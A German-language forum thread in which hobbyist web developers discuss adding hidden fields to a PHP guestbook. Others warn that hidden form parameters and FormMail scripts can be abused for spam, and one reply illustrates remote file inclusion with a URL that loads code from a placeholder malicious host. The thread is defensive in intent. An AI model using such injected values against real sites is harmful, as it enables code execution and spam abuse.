Das deutsche QBasic- und FreeBASIC-Forum

[csde_rats]

hi,
ich möchte in meinem Pyroactive GB den Inhalt eines versteckten Formularfeldes dynamisch generieren lassen. Steh' grad voll aufm Schlauch, und habe k.A. wie ich das hinkriegen soll.
_________________
If hilfreicher_Beitrag then klick(location.here)

Klick

[Jojo]

1) per javascript den value des feldes ändern (willst du wohl net)
2) per php

[csde_rats]

hmm, und wie kriegt man das in des GB rein?
_________________
If hilfreicher_Beitrag then klick(location.here)

Klick

[Jojo]

also wenn du meinst, WO es hin muss: ins <form>...</form> element.
wenn du meinst, wie du ein eigenes feature ins gästebuch damit integrieren kannst: KEINE CHANCE! Bau dein eigenes gb... ist ganz einfach...
_________________
» Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.

[csde_rats]

hmm, gut dann muss ich das anders lösen...
_________________
If hilfreicher_Beitrag then klick(location.here)

Klick

[csde_rats]

[Jojo]

hm... paar stunden vlt maximal?
_________________
» Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.

[Sebastian]

[csde_rats]

hmm, ja ....
...vorher habe ich an dem beispiel vom "PHP Praxisbuch" rumgepfuscht...
.... jetzt schreib' ich grad eins komplett selber wo ich dann MySQL verwende...

[nemored]

Es gibt auch ein paar gute Gästebuch-Skripte im Netz, die man auf der eigenen HP einbinden kann. In der Regel darfst du die Skripte frei anpassen, also z. B. auch ein zusätzliches Formularfeld einfügen.
_________________
Deine Chance beträgt 1:1000. Also musst du folgendes tun: Vergiss die 1000 und konzentriere dich auf die 1.

[dreael]

Wobei mit Standardscripts sollte man immer vorsichtig sein: Es gibt genügend Beispiele, die irgendwelche <INPUT type="hidden">-Parameterübergabe machen. Was auf den ersten Blick benutzerfreundlich für den Webmaster wirkt (im Sinne der W3C-Standards ist auch nichts falsch), entpuppt sich schlussendlich als riesengrosse Sicherheitslücke, weil diese Parameter nicht von einer vertrauenswürdigen Quelle kommen.

Paradebeispiele sind diese auf FORMMAIL.EXE basierenden Kontaktformulare vieler Webseiten. Mit denen wäre übrigens jeder von Euch in der Lage, haufenweise Spam verschicken, und zwar sogar so, dass jegliche Form von Rückverfolgung unmöglich ist.
_________________
Teste die PC-Sicherheit mit www.sec-check.net

[Mao]

Danke für den Tipp!
Hm, nein...aber was sind solche Kontaktformulare?
_________________
Eine handvoll Glück reicht nie für zwei.
--

[csde_rats]

@dreael:
Das mit FORMMAIL.EXE wäre dann CGI, oder? btw. wers schafft den memberbereich auf meiner HP zu hacken, kriegt nen preis
_________________
If hilfreicher_Beitrag then klick(location.here)

Klick

[Jojo]

Dürfte nicht so scwher sein
Und bei einem mail-formular sollte die mailto-adresse NIEMALS in einem versteckten feld stehen... wie dreael schon gesagt hat.
btw: wozu bruacht jeder einen supergeheimen member-bereich? ich mein, was soll so etwas bieten...?
_________________
» Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.

[csde_rats]

[Jojo]

1) Das war nur ein Beispiel, wie einfach man einen Spam-Mailer aus einem Form-Mailer machen kann...
2) So simpel, dass noch nicht mal ein sicherheits-schutz drin ist? Mal so: Ist dein PHP-Code gegen Code Injection geschützt?
3) Und wieso ist das geschlossen? Was ist denn an DSA so geheim?
_________________
» Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.

[csde_rats]

Mal so: Ist dein PHP-Code gegen Code Injection geschützt?

NEIN. ABER: man kann nirgends etwas eingeben was in irgendeiner art im PHP-Code landen könnte

3) Und wieso ist das geschlossen? Was ist denn an DSA so geheim?

An den Rassenerweiterungen nichts. Die sind ja auch Public. Nur muss dass ja geschlossen sein, damit nicht jeder die DSA-Charaktere/Profile einsehen kann.
_________________
If hilfreicher_Beitrag then klick(location.here)

Klick

[Jojo]

1) Mann muss dazu nicht mal was eingeben. Wenn du deine Seiten z.B. über eine zentrale index.php aufrufst (z.B. index.php?page=dsa) dann ist es sehr wohl möglich (es sei dem, du schützt dich davor), eine externe url statt deinen eigenen urls einzubinden, z.B. durch index.php?page=http://virus.de/virencode.php

3) Was ist denn daran so schlimm, die Charakterdaten einzusehen? Ich hätte kein Problem damit...
_________________
» Die Mathematik wurde geschaffen, um Probleme zu lösen, die es nicht gäbe, wenn die Mathematik nicht erschaffen worden wäre.

[csde_rats]

aaalso. es gibt einen param. ("action") und der wird mit einer switch abfrage abgearbeitet. wenn z.B. ?action=das-schwarze-auge-profile ist, dann wird z.B. der dsa-profil teil angezeigt. es wird schonmal keine angegebene page includet

IMHO ist der memberbereich zurzeit nicht verfügbar.... habe doch noch eine seeeehr fatale sicherheitslücke entdeckt...
_________________
If hilfreicher_Beitrag then klick(location.here)

Klick

[Mao]

Du weißt, was IMHO bedeutet? oO
Und genau sowas meinte Jojo, wenn ich ihn und dich richtig verstanden habe. xD
Außerdem gibt es viele Wege, in/an den Code rein-/ranzukommen.
_________________
Eine handvoll Glück reicht nie für zwei.
--